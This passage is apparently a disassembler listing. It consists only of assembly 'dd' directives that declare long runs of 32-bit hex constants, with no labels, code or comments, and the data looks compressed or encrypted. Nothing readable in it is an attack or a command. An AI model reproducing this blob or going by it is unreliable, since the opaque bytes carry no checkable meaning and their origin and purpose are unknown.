		dd 22764DEDh, 0C3FF7D08h, 0C8E01F4h, 0FCE1FC31h, 8D004CF6h
		dd 0EE2F4ACEh, 0FFE97Eh, 17562AE8h, 4E941C01h, 0F1EC5A01h
		dd 860AC497h, 988C9993h, 0D91668D4h, 94B0C28Ah,	0AB5D031Bh
		dd 1D601E87h, 2F8875CBh, 9300AA80h, 0E6A531BDh,	5855D3h
		dd 5CBB74B7h, 2142FAD2h, 0E5A39400h, 80163966h,	75EA903Ah
		dd 0C10F00BDh, 0ADEFB1CDh, 9B001353h, 59826265h, 40FBDFh
		dd 2AFFDB9Dh, 0E6BC71B2h, 0EECF93Ah, 2021861Dh,	26295B13h
		dd 0BF030020h, 0D6A09E5Ah, 438FBD0h, 7628F77Bh,	0B700EC2Ah
		dd 701FCDE5h, 58714B94h, 880008A5h, 0DCACD99Dh,	0BFF60ADEh
		dd 1C993100h, 847E82ECh, 18B028h, 178FC12Ah, 0FD0BC0A6h
		dd 8C34CB00h, 0DB629471h, 5C7648DDh, 0D344AE02h, 5E607B4Dh
		dd 0F5EA633Ch, 0AEBF600h, 31B3CE34h, 2A1B00BFh,	0A68DFAAAh
		dd 0DC00CF16h, 14FF5DE5h, 1CC7D37h, 0E8886B50h,	24C6B1F6h
		dd 0D510045Ch, 281CCFC8h, 0F7854B9Bh, 0B2C21490h, 0AAF1D40Ah
		dd 690FD48Dh, 242780FBh, 2875A2h, 3FCD5107h, 0E861F979h
		dd 13367F03h, 0A0ABBFA5h, 9ABB437Ch, 985A002Ch,	5B3710D7h
		dd 6209D02Bh, 60431ADFh, 0E21DB8h, 897550FDh, 7816AEF2h
		dd 9E11E800h, 58A4CBE7h, 0DED50F72h, 350043A8h,	7B818E5Ch
		dd 94BB3Ch, 20338885h, 0FCFA9C11h, 0FB220034h, 7AC5961Ah
		dd 92004401h, 54C8C751h, 2EBBF1FCh, 80582540h, 17B7BCFDh
		dd 0A54CB637h, 0F8970278h, 71151BA4h, 6EEA8008h, 0CFAA7279h
		dd 471FD898h, 8C5CB6C7h, 0B7C4A600h, 96E83h, 7D1CD5C0h
		dd 61B929FCh, 6EA0B0Bh,	76DD80D0h, 1ED14551h, 0C185BF11h
		dd 5EDE02DAh, 0BC0E2F8h, 370F82E9h, 0B654ABh, 5DA964D5h
		dd 594A00E0h, 9FAFA37Fh, 3C2563E7h, 0C7D441h, 3DB13F7Dh
		dd 0B000F82Ch, 90785BE6h, 0FAB29FDFh, 0EC7B31h,	2FC1DB21h
		dd 0BE3B4E40h, 1154D100h, 0ACAEA67h, 64E300C6h,	49E95EF8h
		dd 0E700485Fh, 0FDC303Bh, 0ECB6E056h, 0F47D001Bh, 4A7FB901h
		dd 0CE4C1788h, 48B200ECh, 21C051AFh, 7B200FE8h,	0BB8085B4h
		dd 0D4DBB683h, 19B8F000h, 642B7E68h, 4CA7EC09h,	0E7002820h
		dd 0B44E2DD0h, 0C5E2ED22h, 0AC46E32Ah, 3B8A4400h, 236C5456h
		dd 1B930083h, 9DCA2DE5h, 0BF07EDE7h, 0A6F83BE3h, 0D0532C40h
		dd 0DCD4398Dh, 0DB0CD80h, 4F842A5Dh, 0AEE3DF00h, 0E5EC3D5Eh
		dd 7A4981Ah, 2CDE1F61h,	60653033h, 0CF17BAC5h, 80004BB9h
		dd 357BE0B8h, 0F8DA00F6h, 62A1745Fh, 0F37F7023h, 0D3727800h
		dd 5BF267F9h, 32C01F22h, 0B8A6D8h, 0CE84E966h, 370C5482h
		dd 28193A96h, 0E82044BFh, 0BEA6F018h, 535D10h, 0E672D771h
		dd 3D0BF6EBh, 2C48F848h, 9A005F0Ch, 7B60B650h, 911F38D5h
		dd 7CE93C00h, 542A20EBh, 6F8C030Bh, 79FC8081h, 1D564F4h
		dd 0FEE1276Eh, 31E77FDDh, 955820F0h, 8063E605h,	0BC0070A8h
		dd 1D68E9B5h, 39F5009Dh, 9518C9DBh, 82008ECBh, 44F7E494h
		dd 88069Ah, 0C6C16B28h,	0B0651CE1h, 73BA4F00h, 978E9C33h
		dd 677F013Fh, 352E81A3h, 22E0748Ah, 4301157Ah, 0C0E55689h
		dd 0AAED9667h, 0AF5E30h, 9272F155h, 1B876A1Eh, 47B5E300h
		dd 54B438C6h, 227F0Fh, 5FF3E216h, 329505E5h, 6F44C916h
		dd 0D107EB00h, 0D961E4h, 5E274F6Dh, 5AB2F751h, 76863D12h
		dd 70322F07h, 0C097FE73h, 0BB7C11Bh, 0E7C3F448h, 53FA3C00h
		dd 9502F740h, 732D8071h, 0AF2800Eh, 0FE084Fh, 228E02D0h
		dd 3C69D6F4h, 0FFF5CE17h, 4A8CC0D0h, 73DC9832h,	15510021h
		dd 2724C923h, 0B80006C0h, 0E8A3F0A4h, 1668D09Fh, 6F5583h
		dd 9930E708h, 7250EEDBh
		dd 1A0095A0h, 0B7D93BBCh, 2E986F64h, 5D865Ah, 0A7CBE99Fh
		dd 23000C4Bh, 818A26F8h, 0B01E34C9h, 0C32E0030h, 0D5A3BD54h
		dd 2F164767h, 3C005E8Fh, 0E7E4D38Eh, 41B4B093h,	0C044640Dh
		dd 62632A07h, 0C1711E52h, 0AFEC8826h, 2C460093h, 1D8C21A9h
		dd 8A0E3ADAh, 60316639h, 6CDD64F3h, 8DCA012Fh, 976D5F7Dh
		dd 9C002A5Dh, 940F7BAEh, 741B00ADh, 0AACFEE72h,	0F800E306h
		dd 0D211CCCBh, 37DE8DAh, 0BBC1B283h, 77DB886Ah,	9BEA2FC8h
		dd 0F54A3200h, 5179D529h, 0EEA1095Ch, 0FF65h, 2BBDA862h
		dd 0EF00C8D4h, 81946211h, 81555AB8h, 0E4D160h, 0BEB40A72h
		dd 9735BACCh, 7FDF9D03h, 0B0218179h, 0F02AB615h, 0A2831EC0h
		dd 0C00A9665h, 0CFA1CDDCh, 1D00A5FCh, 3E771F14h, 0BA77C6Dh
		dd 7A5230C3h, 646CF4A0h, 0A200C785h, 9895C126h,	0B2AF35h
		dd 9C0D2CCh, 873D679Dh,	5A1CE500h, 0ACE414DEh, 86D03AA1h
		dd 911EA080h, 969FA31Fh, 70AD900h, 0D60C58A7h, 2EE80715h
		dd 0F09BFAE7h, 0DEC0100Dh, 0F6490E00h, 4A2AD6CEh, 0A9DF006Ch
		dd 3CED232Eh, 5A001E65h, 5C509516h, 1A2A28h, 0BEC1D41h
		dd 1E59265Bh, 48CC0200h, 306623FBh, 0EB8A00FFh,	902E503Dh
		dd 7C00CF1Ch, 0C33A814Bh, 3BCC7924h, 910AF5E8h,	0B854D4h
		dd 0E546B2D0h, 14048B72h, 0BF9DECD1h, 108A0h, 0A7AF76BBh
		dd 0CDF7FBA5h, 0A300C790h, 10492AF9h, 213D06h, 1AD68737h
		dd 53ECE5Ch, 0E8F1C900h, 0BB1FC2CAh, 0B2EF00DDh, 0C39FECE5h
		dd 96128F0Ah, 20456653h, 0C80EC6F1h, 0E9A24356h, 689DB04Dh
		dd 8274014Eh, 0F631139Ah, 9F908095h, 0F9AF71BCh, 7CB507C9h
		dd 40FFC8ACh, 743032F6h, 0B30064BAh, 0E7E96983h, 4095219h
		dd 9D3E1678h, 0F358C337h, 0A6EC1812h, 25E1BCE1h, 77FE60CEh
		dd 2E332816h, 70D61524h, 5900841Dh, 75452779h, 0A7142BE3h
		dd 26088156h, 6E0002C3h, 0C085F9CCh, 0BA04007Ch, 1ED8103Eh
		dd 6FF68264h, 6DA34105h, 23C089E0h, 765242h, 53C586B5h
		dd 0F944D5E8h, 8F63CF3Dh, 407140B8h, 657D88F2h,	224E0042h
		dd 8223771Dh, 3C00791Bh, 0FE2D5BC0h, 24F6F3h, 0A5391568h
		dd 0A4F55133h, 80D96D30h, 90ED41CDh, 0F98D0ECDh, 88C0C982h
		dd 3D96A8CCh, 0F0003978h, 774EFF53h, 1C45642Ch,	81D226A9h
		dd 0F5B47E8Bh, 0C4D9E1CEh, 9B0010FBh, 44DB43EAh, 0F2DCC1E1h
		dd 847A0097h, 16FD956Dh, 5B004A64h, 0DA62D468h,	4BECA0h
		dd 17B2D99Fh, 995ADDFCh, 10596F00h, 5533CD03h, 51F103E5h
		dd 39787169h, 42163AD8h, 0F91AD702h, 0A5D8C4A5h, 42AEDA4h
		dd 4F6200EEh, 3B0FA0CAh, 60B400EEh, 0D14806FFh,	28C72E02h
		dd 9996F6h, 207EA3B0h, 71BD16ABh, 0F3CE00F9h, 0ECFD21D1h
		dd 2DEE630Ch, 84822912h, 4216A822h, 0BF511EDh, 11234611h
		dd 492118CEh, 941CA708h, 6811288Ah, 3E352113h, 440E1450h
		dd 1D445722h, 0E2228411h, 3C125008h, 1D1C4487h,	144E5084h
		dd 806EE656h, 79880F02h, 0D77A88E2h, 7610DA89h,	0D60021FEh
		dd 3888E157h, 774B43B5h, 0EC2200C1h, 9A2741A1h,	57736D9Fh
		dd 0A97CD500h, 2D89F6FBh, 30B40039h, 5ED1C04Ah,	0FA0E4FD2h
		dd 20C6CF57h, 18C73D71h, 70B700CEh, 390748ABh, 583B6E8Eh
		dd 0AC058033h, 0A73764BFh, 0A8E30059h, 0F312B732h, 21009A51h
		dd 6D4177DAh, 3C86F2DDh, 0AB810F3Fh, 0F83446E6h, 2D5FC44Bh
		dd 1D240600h, 5428951Ch, 77C50060h, 5A6F8721h, 76094884h
		dd 3F7EBAh, 9862451Ch, 0BBD7006Dh, 8423E126h, 2200D218h
		dd 24F3DA34h, 0FCEBC99h, 9181AD43h, 2BFB2900h, 21004055h
		dd 1B3654A2h, 0A3C375h,	457615CEh, 1C1A463Bh, 0DF7E2D00h
		dd 0EE67076Fh, 0C07F7E80h, 0D3680618h, 8F00BFECh, 7C8EEBD6h
		dd 2D77F3h, 8638CA85h, 62099935h, 770C949h, 17E0A2C2h
		dd 64459C40h, 0CAF40043h, 65161952h, 0D073A06h,	9E9F7B61h
		dd 0B5E2D60h, 0E08D00F4h, 0CF0664ABh, 9002FA4h,	10F21B15h
		dd 0F01AD3D7h, 0E6C70024h, 32DD1D5Ch, 0B30096B2h, 0F2FE089Ah
		dd 0EA9258h, 27FB80Eh, 0BC1E45E5h, 0B650CF60h, 747251h
		dd 0B88750EBh, 6393553Eh, 0EDCAF505h, 880C564h,	917367h
		dd 0EA6B154Ah, 57A0FAA2h, 52063417h, 0D4ED3000h, 146E324h
		dd 0F40E23D9h, 0E5459971h, 6B6CE0DFh, 0D71E1E63h, 5BA19095h
		dd 0D56F0090h, 7D506685h, 0C100F1CEh, 4519ABECh, 0A01C977Ah
		dd 4A8F7698h, 373F8059h, 610093CBh, 4C428998h, 0A2CF77h
		dd 0D8EAD9EDh, 0A8437A25h, 0B78A9F03h, 0C8AE9C34h, 0F52E66Fh
		dd 555DBFFDh, 0A0513F42h, 0FCF778E0h, 9300F570h, 0BA79911Dh
		dd 915AAAEFh, 0A1D18h, 8765327Ah, 0EB7707F6h, 3F58E200h
		dd 16F8E9D3h, 743D00ACh, 0CE8B43D5h, 2E04DDE4h,	1D9B0776h
		dd 34824880h, 26CB01BAh, 9D50A67Ah, 0EFA4C0F8h,	0E3921200h
		dd 1F5ADEB7h, 0B9483A36h, 21E850h, 0E60360C3h, 93BDC076h
		dd 0FFD048h, 33CFAD2Eh,	0F2436C08h, 1B7400FFh, 35A3541Ch
		dd 0B01E184Bh, 0DC006DB6h, 24EAD166h, 77F672h, 0D4F61F19h
		dd 2003B657h, 998BAEA0h, 4D5C2F00h, 0BF594ED9h,	0CF0518D6h
		dd 5616B818h, 0F954FC0Eh, 2A2F1Ah, 9BBEF7C5h, 897005Eh
		dd 0C3D205BAh, 0DEE672F8h, 0D7D2800h, 0EAFE6C6Bh, 0BCC81E76h
		dd 40A1C07Eh, 779F3799h, 92B611Fh, 0A5FA7900h, 52613E7h
		dd 0DF15EB41h, 5CC500D0h, 72B59C71h, 0DC6F8D00h, 0F7CCFFAh
		dd 56EB13B7h, 6234005Eh, 589AC6F3h, 4C32BB00h, 8DA7C77Bh
		dd 34750C13h, 7E502C93h, 5C2D7800h, 708C0BA9h, 7C57DB0h
		dd 33F071ADh, 0C09AA465h, 0A44A7A00h, 80BB8438h, 41A5CD3Eh
		dd 0CA7130h, 605B8CC5h,	0F18FE411h, 50DF59h, 1FA1039Ch
		dd 0EB0E6DEh, 0E9856701h, 6E3D32E0h, 0A7001128h, 0CC7FF331h
		dd 90BFC7ABh, 70DB1C20h, 3C007FA2h, 0D4CBDAECh,	0E7004902h
		dd 0D8EFA60Fh, 3CB38832h, 9AB8ADB4h, 0DE22D80h,	0CC2B6D09h
		dd 0C003E478h, 0BAB893A3h, 599088BCh, 0DD400DEh, 0F5FB46E0h
		dd 3D01A28Dh, 1F0AB941h, 0B9EF8E02h, 0D1C8357Dh, 1389E039h
		dd 603B8BFh, 0D011042Ch, 0E199A900h, 0C3A0C620h, 552700B2h
		dd 0D526DA10h, 0D124140h, 4C1CE26Eh, 0ECEFC385h, 521DB000h
		dd 3889C75h, 53306465h,	3C981FE7h, 0C7046883h, 0C9519895h
		dd 2916E4C0h, 0A19D12B3h, 0CA580078h, 5B4ED59Ah, 6DA889E7h
		dd 0A98CA011h, 0CA286AB6h, 40B48D98h, 61A8BC7Eh, 0F8100803h
		dd 0D8F43F45h, 0C638B0h, 0E9551B88h, 37747606h,	8A216C00h
		dd 3452E360h, 42BE00D2h, 75DADC66h, 0CF00E0D3h,	697FEF1Ch
		dd 2CB5E2h, 3160409Ch, 0E18EEDF7h, 41DB604h, 8CC0ADBEh
		dd 0A8DBB4h, 0F77033F9h, 6D52E51Bh, 0E7682E00h,	85CFC3A3h
		dd 0F8B000E8h, 896F5DF2h, 0B43DD4A2h, 12E7165Eh, 3332C00h
		dd 0B4936F8h, 0B98B9165h, 8031B905h, 4A55D258h,	2D0AB21Eh
		dd 7E1114C0h, 1CFE0D4Fh, 0C5EE065Eh, 0C0CB9468h, 0F7C15133h
		dd 0E1AF9F00h, 58246144h, 887F0002h, 7416DABDh,	0A32CCB5Eh
		dd 1900CCB2h, 4CFB7DFAh, 0B7D8A3AEh, 5661D3E0h,	0E03F6B1h
		dd 0E1A22F8Eh, 600FF781h, 93F06E94h, 0F3E4009Eh, 88FD91DBh
		dd 0D93F4A0Bh, 0C8450214h, 0C0A178B6h, 0C1EC58h, 74A28BEDh
		dd 24759A9Bh, 514A500h,	0B72DD7E8h, 0B8EE006Dh,	0B6E60E26h
		dd 0C8001CA6h, 797D655Ch, 1D25F20h, 13046C3Ah, 0DC5E47B3h
		dd 0C10055A1h, 0BFDA8A2Ch
		dd 0D81B91h, 224784Eh, 36C2BB33h, 54B5FB01h, 0E2BAF1C6h
		dd 0E60BCE20h, 0AEE007F4h, 55D78AF0h, 9D42839Fh, 0FC9BF2F9h
		dd 2000A15Bh, 532C4081h, 90440942h, 6D1D0A30h, 0DBDBBFh
		dd 2AD814E0h, 330E3963h, 5C56964Ah, 72763500h, 3D803053h
		dd 8580586Ch, 1C4D643Eh, 183C5FDAh, 5D228019h, 160B15A6h
		dd 0EA1B7790h, 385403E8h, 24B79F29h, 0F1B400F5h, 596D80F5h
		dd 1A65D901h, 0BCFA49D7h, 5F05470h, 0D6B0B4B5h,	0E3E000CDh
		dd 3C96E5ABh, 38EAC231h, 3D8394Eh, 1AF303E2h, 2BF724B9h
		dd 57283B90h, 0DE16F200h, 0C5BC923Dh, 9FE60090h, 35C0EC84h
		dd 5500FAF5h, 545DD2D4h, 0F4E9807Bh, 528800F3h,	6AF7669Dh
		dd 740038D9h, 8EE518A4h, 2C835E71h, 7A9F2Bh, 0E8202DB8h
		dd 0E0C0FA27h, 99CA42EAh, 2EFF0065h, 53127234h,	3300F5F7h
		dd 0A64C5B9Ah, 2425B78Fh, 1F8CEF06h, 2F0C8943h,	0C5611480h
		dd 28073CB6h, 5233DD6h,	7AC5A115h, 3B335400h, 370D11DBh
		dd 20B8BA39h, 40D66BEDh, 42C22B03h, 0D9C064h, 1CD4F288h
		dd 0B802C41h, 71948A00h, 53C030E9h, 620E00D3h, 11BF08F2h
		dd 6300EA1Ah, 0A357F72h, 0E1D793h, 4D7A0638h, 429B502Bh
		dd 0ADCAF91Dh, 0CE2D1903h, 7356A0EDh, 0E27F0955h, 0D800324Dh
		dd 3A4C9A8Ah, 0E6A2AF00h, 8756D51Ch, 0EEB66235h, 0A4601595h
		dd 800178D3h, 4D0396Bh,	0A828D99Ah, 47591100h, 4131955Ch
		dd 83C63505h, 0F807B538h, 0CD55F261h, 1EAC7090h, 0A8A0F03h
		dd 92FF8B29h, 50A800D3h, 233F885Dh, 0D689A217h,	9AB58840h
		dd 2C6E760Dh, 0E655F7h,	156B16A7h, 1C77897Eh, 348B5C02h
		dd 58CD420Ch, 0B6FD07B0h, 905592C6h, 0FEAE7CB9h, 2EB34C18h
		dd 0B7D8E8h, 50EC413h, 1296B09h, 23343600h, 0C011CA40h
		dd 6CC95882h, 2CE5E900h, 0CA078D5h, 5201CD16h, 0B19BA000h
		dd 3EB09E13h, 0C1506A5Dh, 1DEC0F37h, 2B00A0CBh,	0B6C94FBCh
		dd 3D9EBB05h, 55803917h, 0ADFCD3h, 53A1F60Ch, 0CEEA93EFh
		dd 4F94AE00h, 0E7FA9E66h, 847005DAh, 0C4E43D3Eh, 0D791C7A1h
		dd 0E8B5407Fh, 7900D6A3h, 342FAF1Dh, 3A7F7FCh, 13C77ECFh
		dd 30C786AEh, 3B7CD1C3h, 4A0026E6h, 0EC6C52AAh,	175E3480h
		dd 2704F31h, 16621007h,	0CD47F040h, 0FE041E26h,	0CEFDBF00h
		dd 1DD360Eh, 0BCFC19ADh, 6043DBF0h, 7200EC78h, 0D370D4F1h
		dd 0E8C9128h, 0E9294D38h, 545BCE61h, 89F840EAh,	47884C11h
		dd 0B61D05AFh, 0D0582534h, 0D4026388h, 99735E00h, 559EA840h
		dd 0D9A307FCh, 70249328h, 5D6FA125h, 153F8900h,	0F44E2D82h
		dd 5FDD0038h, 0F7897D4h, 627C943Ch, 6CB93213h, 0DD660845h
		dd 0A0B47883h, 0DA5AAEh, 0CAC36159h, 5BB801E2h,	0F9EDDB0Dh
		dd 0B340C68Dh, 19A267Fh, 7351B43Ch, 0E49C25BAh,	2200D314h
		dd 16CABED7h, 983AC398h, 0D18F01CDh, 0B8C08DF7h, 0BAB2204Ah
		dd 0D500EE72h, 46C38E25h, 3C1861h, 13702A9h, 211B2309h
		dd 0C988B00h, 93EB483Eh, 40E50736h, 0B0587DEDh,	0E71F74B9h
		dd 922D5000h, 0CFAF75CAh, 14BD58E3h, 80546504h,	90B8C858h
		dd 0F52040h, 0ED3AD16Ah, 973CB9Dh, 0DCECA06h, 74389984h
		dd 74EE00C5h, 7BB3E09Ch, 7505823Ah, 41D5E72Ch, 598BB8D0h
		dd 175F1472h, 1500DC78h, 84877E08h, 9E0309F6h, 61AE6FFh
		dd 0D9BCC0B0h, 76AD0056h, 72615ECDh, 960099E1h,	0C081631Fh
		dd 545054B6h, 5D8849h, 0CD9AF5ADh, 10D420C9h, 0F6B46A00h
		dd 19DF8A73h, 894000D1h, 293B534h, 98002841h, 0A5FC4520h
		dd 0A1DF0Ch, 4485D99Fh,	57660962h, 0A94B20h, 8AA8471Dh
		dd 0AE402599h, 0A4441300h, 7EC46E6Ah, 0ADD300BFh, 8976F218h
		dd 5E00E5F6h, 1C9E226Ch, 953F112h, 0C9799D6Dh, 0DEB64400h
		dd 3F016A5Ah, 0E12970E9h, 0C081F55Eh, 1179A33Eh, 63283048h
		dd 9C708B60h, 74A55CE4h, 7C960065h, 640E4361h, 0BF0BF5CFh
		dd 81B5FF7Eh, 1FEAA204h, 5A064h, 547AD9E9h, 0C6374CD8h
		dd 0BD32B209h, 65E5031Bh, 0DE09B8B8h, 34381461h, 8A03C4C8h
		dd 725CEDC3h, 0DFD4A0F0h, 3EA53Ch, 96745FA2h, 0E9DC71h
		dd 0BC6F9B97h, 2C7CAB95h, 33F84305h, 0F8C83263h, 7E7D0078h
		dd 61A03E57h, 7439EA0Dh, 5FBB9Ah, 950A443Dh, 10BE73h, 0CA066032h
		dd 416E1FEDh, 3C3EBF98h, 0CD340055h, 916A83E0h,	87BE0944h
		dd 0A4802D51h, 0C25AE502h, 0FE517A7Eh, 9D9FF4DCh, 3FAED700h
		dd 0DE384D7Dh, 7890005Bh, 4F27B163h, 3400D199h,	0F109F3D3h
		dd 0EAAD59EFh, 2E2305C6h, 0FB813FBh, 0EDC9A980h, 1478860h
		dd 65F2BD16h, 6007B013h, 48087FEh, 0C150A2Bh, 14FE951h
		dd 0EB006B21h, 3E3DB817h, 0F23A5682h, 14502DAh,	9447A48Dh
		dd 0CC43ECC1h, 0B09E4CEh, 0A3070C6Ah, 89DCED88h, 20FA31h
		dd 0A181C0BDh, 0ACFFEF9Dh, 71E78A06h, 200503h, 0E9F0C82h
		dd 0DFA1AF9h, 0DBE5C001h, 3B116E6Dh, 0FA9A8830h, 0C6BC0090h
		dd 0BB42E0Fh, 109FB31h,	98748568h, 1C58F9D0h, 0E81DB3C8h
		dd 796B00F0h, 1AA41F60h, 620361A9h, 9A64E98h, 6A8F8975h
		dd 6708F0h, 17CC2F49h, 8A4D7033h, 0D883F539h, 1ACF00A8h
		dd 0A5AE7DEBh, 2AE8009Bh, 0B4314F39h, 0E1034163h, 70CCE761h
		dd 2D2EF8FEh, 45380014h, 2AEDA79Fh, 5F721AAFh, 0F41EF006h
		dd 9F01D7Eh, 0A9B68E10h, 4B8D14C0h, 0D89C7654h,	0CC457103h
		dd 0AC9DC993h, 409BE0C0h, 20FE005Dh, 700667C3h,	9100A6FAh
		dd 49B546CBh, 92C7ECh, 688AFCD1h, 6B197F69h, 6AC15500h
		dd 0ABE92462h, 30DDF801h, 1A80D95Bh, 5900F4EFh,	36B21251h
		dd 90BE17h, 0F3C7A695h,	8572066Eh, 9E54D500h, 0C40C8D84h
		dd 98140029h, 13AF1C2Fh, 69143E59h, 0A92FB82h, 0B8C4C18Ch
		dd 790E9304h, 9007CE2h,	0E2E15529h, 56383E17h, 8338085h
		dd 0E88F8CEh, 813B1653h, 9C880066h, 1C1A4AD6h, 0BF8064B4h
		dd 1D7CB56h, 5CB37C7Ch,	4128374Bh, 0E305279Ch, 2072F080h
		dd 0F800B89Eh, 142D51Bh, 1E1C9DFAh, 93CE37C8h, 0EF2400B7h
		dd 68852258h, 12D8F200h, 0A12F4EB5h, 0E7B8C0A3h, 21E671CBh
		dd 4C1B9000h, 1E39AC51h, 0F63700D2h, 60EE9E24h,	53003D95h
		dd 0CD01D9EDh, 75CB6Bh,	0D3065A98h, 513487DFh, 0ABE88301h
		dd 0B3D9CDC5h, 32040F2Ah, 0A9BC2D20h, 9E018BB4h, 0D36BD60Fh
		dd 803C801Eh, 1D9C2903h, 90D740ACh, 8B416CE4h, 5B87000h
		dd 762CAB47h, 6B098E7h,	6DE33849h, 1B14B8C7h, 7B8B169h
		dd 0CDD2C7Ah, 0A6CBE9C0h, 0DCC80329h, 861AB0Ah,	97F27C8h
		dd 49948013h, 34049441h, 0D42CA32Fh, 137636C3h,	0D0847E8h
		dd 20591100h, 0D62188C9h, 0BFDF3BF3h, 8BBCA600h, 72485466h
		dd 0D0FD913Bh, 0CB482ECEh, 0FA8A00B4h, 0FF9D24D9h, 4C047347h
		dd 6C002830h, 0BA5C8D7Ah, 54319445h, 7BC4A472h,	0FFA2060h
		dd 9F964ED3h, 0D30092EBh, 773A8723h, 6532BD01h,	0DBD3E9B3h
		dd 41B430h, 86A873BCh, 0BB66E437h, 672AA4Ch, 0A94F9F75h
		dd 8ABC834Eh, 90D037h, 7BE1BF89h, 2A479E29h, 28FE3407h
		dd 83B7568Ah, 2BE20D00h, 79170791h, 0DC745CBDh,	0DA3AFD5Eh
		dd 0DC369E25h, 0C6190785h, 454FBC03h, 2CD084F2h, 6D78B7h
		dd 0D11C0E4Bh, 1D8DE484h, 0F427B200h, 0B0506224h, 8FE600A2h
		dd 0B914CF07h, 3D008CADh, 996EE308h, 5845DB28h,	0A0067149h
		dd 10E2CC5Bh, 95FF5818h, 0EE0B570h, 8A33AE6Bh, 90060B92h
		dd 286264C0h
		dd 0CAFD5909h, 284E482h, 83419A0h, 526020F9h, 0AE00995Bh
		dd 0EC5D8BADh, 248F7130h, 0E3F43DBh, 80E4E124h,	0C348D286h
		dd 3FEF9860h, 0A35B9100h, 0B743B6Ah, 0FF87000Ah, 0FC12BF6Eh
		dd 0BC00F251h, 2DC3FB46h, 53CFE03h, 0B61EC835h,	4350B04Fh
		dd 0ED5B8100h, 0C42A73BFh, 9AA00917h, 0E00AD4Ch, 9B13E7E6h
		dd 0C1517A01h, 8B34D5DCh, 1570EE4h, 75AF7286h, 0C46B942Dh
		dd 8D018FACh, 915527F8h, 9EF4597Ah, 54714CF4h, 38240400h
		dd 517B97C9h, 0CD725A00h, 0B634F2Eh, 0E6F90091h, 49BDE965h
		dd 0E5134327h, 640973D6h, 62EE0085h, 7C69DC15h,	6B6600D4h
		dd 5BB17871h, 731A800Ch, 54649446h, 1C0617A8h, 0D1EBC07Ch
		dd 3251E81Ah, 0BA31BB39h, 0F491B815h, 0FC8FD800h, 0CD651007h
		dd 856E1EF8h, 44D04058h, 61351875h, 39E22E09h, 0A0AA09EAh
		dd 0A8172DD4h, 0AC94CDh, 0BED91673h, 8B17026h, 80EE283Ah
		dd 9E136300h, 0F84AA3AEh, 0B2390009h, 9A3A150Bh, 5B00E02Dh
		dd 0B8779EF3h, 16B414F6h, 5F85D6D8h, 0E0768030h, 619B1617h
		dd 66880300h, 0AA5CC895h, 0FBAD022Bh, 0FD719E83h, 440020F8h
		dd 13FE99BAh, 1C22E11h,	0B7D308B0h, 206DD709h, 9B3C53CCh
		dd 5F8E8051h, 0D382A6B6h, 4B6B0015h, 0EF9CAE3h,	920EAA3Dh
		dd 7AFA6Eh, 34AC0B01h, 365179Fh, 88003ED9h, 0DC6ECBB4h
		dd 0D78188B1h, 0E728D207h, 7EA82Ch, 0FD44AFF3h,	827C23BAh
		dd 4CD0F700h, 0F938E79Ch, 28B65893h, 358A007Dh,	95CFA576h
		dd 7800CD6Fh, 6A0A4914h, 982D93h, 62EC0B8Ch, 0F4F8D402h
		dd 5565A700h, 963D40CBh, 7D0F78D2h, 8CD70773h, 5035EA3Bh
		dd 8E2D9598h, 810E14F6h, 3F3D94A9h, 18AEF480h, 0E9F97Fh
		dd 7C8E067Ah, 61D60A66h, 83B3FB00h, 6A27D973h, 0A492078Dh
		dd 6720DBE1h, 0C895C43Fh, 2F0080B4h, 9614D3FDh,	2E132DEh
		dd 6674EBF2h, 0DCE8D4AAh, 0EA00BFD0h, 0C138B9CEh, 700123E1h
		dd 80309E88h, 447B0D86h, 0FD249230h, 980058CEh,	2DAF23E2h
		dd 568D001Eh, 1F74EF55h, 523E7104h, 0F2C4CD7h, 0EBFABCBFh
		dd 0E7200F9Bh, 79419E64h, 428EEBEh, 0D17A100Bh,	0C503F02Fh
		dd 9989F92Ch, 2155D044h, 1049276Ch, 0E125009Eh,	0B9BC5668h
		dd 0CA0B7328h, 4A591C3h, 50F0FCC0h, 63B107EDh, 412F845Ch
		dd 0A5594DBCh, 0C34C0080h, 0C08F94h, 328DF9CCh,	2B3071Ah
		dd 47A2900h, 5D958018h,	0ABD7414h, 0C4AC0A8Fh, 6A63002Ch
		dd 83547B5Ch, 99EBBC17h, 71D72700h, 16674EF3h, 0DBD0D4h
		dd 0E51262C8h, 0B93E096Fh, 0BA148069h, 0F08DFD05h, 0EB5900C9h
		dd 0D117DF71h, 0D5005B80h, 0D73F1979h, 7C7621D0h, 9E280099h
		dd 0EC44D67Ah, 432CA51Fh, 5100D463h, 0FD84480Bh, 927B0754h
		dd 0B769185Ah, 1C590019h, 6406EE9Ah, 66E52153h,	0F8C200B9h
		dd 360D807Ch, 0FC1623CCh, 7400A760h, 0AF53B40Ch, 380B0A76h
		dd 80C419D1h, 21337FF4h, 130550ADh, 2C9CEF37h, 9BB568C3h
		dd 858004Eh, 0CCC957A3h, 18BEBA33h, 6953E1Eh, 91037CECh
		dd 70F64032h, 0D52CB88Ch, 3E61DE3Ah, 0A028305h,	750CC053h
		dd 0BB04DC9Ch, 0CAE659FCh, 1A304C90h, 666800BCh, 0D7690E97h
		dd 0A500CF8Dh, 6F519DB3h, 1E075459h, 8644883Ch,	0CCD8D37Ah
		dd 77AE181Eh, 0B2CAFB00h, 1CC8D94Fh, 800E345Bh,	58C4E8ABh
		dd 26037D0Bh, 33399B20h, 805AD8EAh, 0F9BC0E98h,	803C232h
		dd 0EB908DABh, 2B04115Ch, 0F797336Eh, 0E3932490h, 0C2700B4h
		dd 29A8147Ah, 792A05FAh, 0A600842Fh, 51232275h,	67E3B6h
		dd 7239651Dh, 0C25F5A8Dh, 63D7C41Eh, 982A77DCh,	0D8B3082Ah
		dd 5D749FF0h, 40D04400h, 76A18FA0h, 3D4F4F0h, 0DC3FE123h
		dd 2000661Dh, 6B2FFA20h, 1D9DE58Dh, 47C1B506h, 23B112CDh
		dd 0B3C880AFh, 700C282h, 7645FC46h, 8BA26C5h, 77875DD8h
		dd 0D71DCA01h, 75E49C49h, 26C97974h, 0FE441C1h,	1E400E8Bh
		dd 7782B223h, 798AEF00h, 31A6EDADh, 3692003Dh, 0B3AB80C6h
		dd 0BB0FCC1Eh, 0AFB65B07h, 3E51A71Bh, 9D38804Fh, 0F230A09Ah
		dd 8D0400C5h, 64017A75h, 0EB014111h, 0B1DD079Eh, 1AC847B5h
		dd 0D3E00DCh, 9A6535FCh, 20F983Ah, 9B6F66h, 0B8E74270h
		dd 38F10F54h, 0F020A66Ch, 0ECF8F2DCh, 9B1C1107h, 212F167Fh
		dd 220431DDh, 181B5098h, 1A01E661h, 0EFF7E50Dh,	1EDCA680h
